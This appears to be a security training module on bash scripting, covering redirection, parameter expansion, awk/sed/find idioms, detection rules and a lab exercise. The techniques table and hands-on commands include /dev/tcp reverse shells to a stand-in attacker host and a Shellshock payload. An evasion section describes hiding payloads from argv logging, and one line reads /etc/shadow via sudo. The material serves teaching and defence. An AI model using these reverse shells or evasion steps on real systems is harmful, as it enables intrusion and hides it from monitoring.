Bash & Shell Scripting
Bash is the lowest-friction interface to a Linux box, and Shellshock (CVE-2014-6271) is the single best reason to take it seriously. The bug was a parser flaw in how bash parsed environment variables as function definitions — () { :; }; /bin/id — and it ran on every CGI webserver, every DHCP client script handler, every SSH ForceCommand config, and every GitLab CI runner for years before disclosure. Bash is not just a shell; it is a glue language that touches everything, including an interpreter for untrusted input. This module covers the syntax that matters for security work: pipes, file descriptors, parameter expansion, /dev/tcp, and the awk/sed/grep pipeline that turns raw logs into actionable output.
The Core Concept
Section titled “The Core Concept”Bash is a POSIX shell plus a lot of GNU extensions. The execution model is: read a line, expand it (parameter → brace → tilde → command substitution → arithmetic → word splitting → filename globbing → quote removal), then run the result. Each stage is a place where untrusted input becomes shell tokens — and that is where injection bugs happen.
┌──────────────────────────────────────────────────────────┐│ Bash pipeline ││ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ ││ │ cmd1│ -> │ cmd2│ -> │ cmd3│ -> │ cmd4│ -> │ cmd5│ ││ └─────┘ └─────┘ └─────┘ └─────┘ └─────┘ ││ \________ pipe (kernel pipe(2), 64KB default) ____/ ││ ││ Each cmd runs as a fork+exec; all share stdout→stdin │└──────────────────────────────────────────────────────────┘How It Works
Section titled “How It Works”-
File descriptors and redirection. Bash reserves fd 0 (stdin), 1 (stdout), 2 (stderr). User fds are 3–9.
cmd >file— redirect stdout to file (truncate).cmd >>file— append.cmd 2>file— stderr only.cmd >file 2>&1— stderr to the same place as stdout.cmd &>file— bash shortcut for both.cmd 2>/dev/null— discard errors.cmd <file— redirect stdin.cmd <<<"$string"— here-string; stdin becomes the string with trailing newline.cmd <(other_cmd)— process substitution; bash creates a/dev/fd/63FIFO, runsother_cmd, and passes the path as an argument tocmd. Lets you pipe into commands that take filenames (diff <(ls a) <(ls b)).
-
/dev/tcp/host/portand/dev/udp/host/port— bash built-in TCP/UDP client. Not a real file, a virtual path handled by bash. Useful when there is nonc:Terminal window exec 3<>/dev/tcp/10.0.0.5/80printf 'GET / HTTP/1.0\r\nHost: 10.0.0.5\r\n\r\n' >&3cat <&3 | head -20exec 3<&-Compiled-out in some hardened builds (
--disable-net-redirectionsinconfigure). -
Parameter expansion — no
$()needed for the common cases.${var:-default}— usedefaultifvarunset/empty.${var#prefix}— strip shortest prefix match.${var##prefix}— strip longest prefix match.${var%suffix}— strip shortest suffix match.${var%%suffix}— strip longest suffix match.${var//old/new}— global replace.${var:0:5}— substring, zero-indexed, 5 chars.${#var}— length.${!var}— indirect expansion (read the variable whose name is$var).${var^^}/${var,,}— upper / lower case.
-
Arrays.
Terminal window arr=(a b c d) # indexed arrayecho "${arr[1]}" # b (zero-indexed)echo "${arr[@]}" # all elements, word-splitecho "${arr[*]}" # all elements, single wordecho "${#arr[@]}" # count: 4declare -A map # associative array (bash 4+)map[key]=value -
find+xargs+-exec.Terminal window # Files modified in the last 24 hours, world-writablefind / -xdev -type f -mtime -1 -perm -o+w 2>/dev/null# SUID binariesfind / -xdev -type f -perm -4000 2>/dev/null# find -exec vs xargs: -exec forks per file, xargs batchesfind . -type f -name '*.log' -exec gzip {} +find . -type f -print0 | xargs -0 grep -l 'pattern'The
+(vs\;) at the end of-execbatches the command into fewer invocations. Always use-print0+xargs -0for filenames that may contain spaces or newlines. -
awk— text processing.awk -F: '{print $1, $3}' /etc/passwd. Useful idioms:awk '{sum+=$1} END {print sum}'— sum first column.awk 'NR==1{next} {print}'— skip header.awk -F'\t' '$3 > 1000'— filter rows where column 3 > 1000.awk '{a[$1]++} END {for (k in a) print a[k], k}'— group count (frequency table).
-
sed— stream editor. Real-world idioms:sed 's/foo/bar/g'— global replace.sed -i 's/foo/bar/g' file— in-place edit (GNU).sed -n '10,20p'— print lines 10–20.sed '/^#/d'— delete comments.sed -E 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/IP:\1/g'— extended regex.
-
grep—grep -E '(pattern1|pattern2)'for ERE,-vinvert,-ccount,-nline numbers,-rrecursive,-A3 -B3context,-icase-insensitive,-PPCRE (GNU).
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| Shellshock (CVE-2014-6271) | env x='() { :; }; <payload>' bash -c ':' — bash parses env as function and runs trailing code | Easy — IDS signatures on () { in HTTP headers |
| Reverse shell via /dev/tcp | bash -i >&/dev/tcp/attacker/4444 0>&1 | Easy — outbound TCP from bash with no args visible in argv |
| Decoy filenames with dashes | --</dev/tcp/... file named -l blocks tool arg parsing | Easy — -- arg terminator |
- stdin redirect | curl -K - reads config from stdin | n/a — legitimate |
| Here-doc script wrapping | bash <<<'payload' or bash <<'EOF' | Medium — argv has no script path |
Hands-On Commands
Section titled “Hands-On Commands”# Reverse shell via /dev/tcp — only works on non-hardened bashbash -c 'exec 3<>/dev/tcp/attacker.tld/4444; exec >&3 2>&3 0<&3; bash -i'
# Use -- to stop argument parsing on filenames that start with -rm -- -lfind . -name '-*' -exec rm -- {} +
# Strip ANSI color codes from a log (or from a command output piped through less -R)sed -r 's/\x1B\[[0-9;]*[mK]//g' /var/log/auth.log
# Frequency-table every destination IP from apache access logawk '{ip[$1]++} END {for (k in ip) print ip[k], k}' /var/log/apache2/access.log | sort -rn | head -20
# Find all world-writable files outside known temp dirsfind / -xdev -type f -perm -o+w ! -path '/tmp/*' ! -path '/var/tmp/*' 2>/dev/null
# Replace '127.0.0.1' with 'REDACTED' across every .conf in /etcgrep -rl '127.0.0.1' /etc --include='*.conf' | xargs -r sed -i 's/127\.0\.0\.1/REDACTED/g'
# Inline audit-log summary: failed SSH attempts by source IPausearch -m USER_LOGIN -sv failed --raw | \ awk '/addr=/{gsub("addr=",""); print}' | \ sort | uniq -c | sort -rn | head
# Make a SOCKS proxy over SSH and confirm it worksssh -D 1080 -N user@bastion &curl --socks5 127.0.0.1:1080 http://internal.lab/
# Use process substitution to diff the output of two commandsdiff <(curl -s http://v1.lab/api/users) <(curl -s http://v2.lab/api/users)
# SSH banner grab via /dev/tcp with a 5s timeouttimeout 5 bash -c 'exec 3<>/dev/tcp/10.0.0.5/22; head -c 64 <&3'Detection — Defender View
Section titled “Detection — Defender View”auditd with exec rule (-a always,exit -F arch=b64 -S execve -S execveat -k exec) records every bash -c '...' invocation with the full argv. The shell-level payload is always in the audit log, even if the binary is /bin/sh rather than /bin/bash.
Sysmon for Linux Event ID 1 (ProcessCreate) records command lines.
MITRE ATT&CK T1059.004 — Command and Scripting Interpreter: Unix Shell (bash, sh, zsh).
MITRE ATT&CK T1548.003 — Privilege Escalation: Sudo and Sudo Caching (abused via bash invocations as sudo bash -c).
MITRE ATT&CK T1571 — Non-Application Layer Protocol (raw /dev/tcp reverse shells that bypass typical SSH/syslog instrumentation).
MITRE ATT&CK T1053.004 — Scheduled Task/Job: Cron (bash scripts in /etc/cron.{hourly,daily,weekly,monthly}/).
Wazuh rule 920 / 31104 — /dev/tcp usage in command line [verify — custom decoder needed for the literal /dev/tcp string in argv].
Wazuh rule 9801 — Shellshock signature in HTTP headers (most web servers still ship this rule out of the box).
Evasion Techniques
Section titled “Evasion Techniques”Hidden in argv via -c. bash -c 'payload' puts the payload in argv[2]. Many EDRs truncate argv display at 256 chars. Defense (defender): increase auditd argv length limit via -f 1 (or --buffer-size in modern auditd); log to file with no truncation.
Here-doc to keep payload out of argv. bash <<'EOF' reads script from stdin; argv has no payload. Auditd sees bash with no args; the actual script is invisible. Defense: monitor short-lived bash processes spawned without a -c and without a script file argument. Sysmon for Linux logs stdin source.
/dev/tcp is not logged in argv. The reverse shell bash -c 'exec 3<>/dev/tcp/.../4444' works, but so does bash -i followed by typed commands after you exec the fd from inside the running shell. Defense: log all execve and inspect the parent process — a bash started by sshd with no -c is suspicious.
sudo bash -c 'cat /etc/shadow' vs sudo cat /etc/shadow. The first logs in auth.log as user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/bin/bash -c cat /etc/shadow; the second as COMMAND=/bin/cat /etc/shadow. Defenders alert on the former.
Decoy arg --. bash -c -- 'payload' is the same as bash -c 'payload' but argv parsing is slightly different; some naive parsers trip. Defense: canonicalize argv before pattern matching.
| Evasion | What it hides | How to detect |
|---|---|---|
bash <<EOF | payload from argv | auditd argv has no -c; check parent cwd |
bash -c -- | slight argv weirdness | Canonicalize before matching |
/dev/tcp reverse shell | nc/ncat missing | Sysmon for Linux EID 3 from bash to external IPs |
exec 3<>/dev/tcp after launch | same as above | EID 3 still fires |
setsid bash -i to detach from tty | tty in argv | EID 1 parent != tty session leader |
⚠️ What caught me: I was tracing an intrusion and the SIEM showed
bash -cwith empty argv in the audit log. The rule had a 4KB argv limit, and the actual payload was a 12KB python one-liner that ran asbash -c "$(python3 -c '...huge...')". Thebashran the python, python decoded a base64 blob, and the actual commands never touchedargvof any process because they were pythonos.system()calls. Lesson: argv truncation in your SIEM means you see the wrapper, not the payload. Log full argv (auditctl -b 8192) and capture stdin forbashspawned with no-cand no script path.
Lab Practice
Section titled “Lab Practice”VM: Ubuntu 22.04 LTS. Enable auditd with -a always,exit -F arch=b64 -S execve -S execveat -k exec. Install bash, gawk, sed, find, tcpdump, curl. A second VM running a netcat listener on port 4444 for the reverse-shell exercise.
Objective:
- Write a one-liner that lists all SUID binaries on the host and pipes to
grep -v -E '^/(usr/bin|usr/sbin|bin|sbin)/'to find the anomalies. - Demonstrate a
/dev/tcpreverse shell to the second VM; confirmtcpdump -nni eth0 port 4444shows the TCP handshake. - Use
awkto summarize the audit log by parent-process name and by user (frequency table). - Demonstrate the
--arg terminator by creating a file named-land deleting it withrm -- -l.
Expected flag format: flag{suid_listed_devtcp_seen_by_tcpdump_audit_summary_done}.
Detection that should fire: auditd ausearch -k exec -ts recent shows bash -c 'exec 3<>/dev/tcp/...'; Sysmon for Linux EID 3 (NetworkConnect) from the bash PID; tcpdump shows TCP three-way handshake to attacker IP.
Interview Questions
Section titled “Interview Questions”Conceptual: explain the difference between ${var:-default} and ${var:=default}. When does the latter assign?
Technical: walk through what happens in cmd 2>&1 >file vs cmd >file 2>&1. Why is the order of redirections significant?
Scenario: a customer reports their web server was compromised via “a strange environment variable” in a CGI script. The attack string was x='() { :; }; /bin/id'. What is this CVE and what is the underlying parser flaw?
What is process substitution (<(...)), and how does it differ from a pipe? Name two commands where you must use process substitution instead of a pipe.
Technical: write a one-liner that finds every world-writable file outside of /tmp, /var/tmp, and /dev/shm, and prints them with their modification times sorted descending. Explain the role of -xdev and why you used it.
Related Modules
Section titled “Related Modules”→ F1 (Networking Fundamentals) · F5 (Python for Security) · F9 (Virtualization & Lab Setup)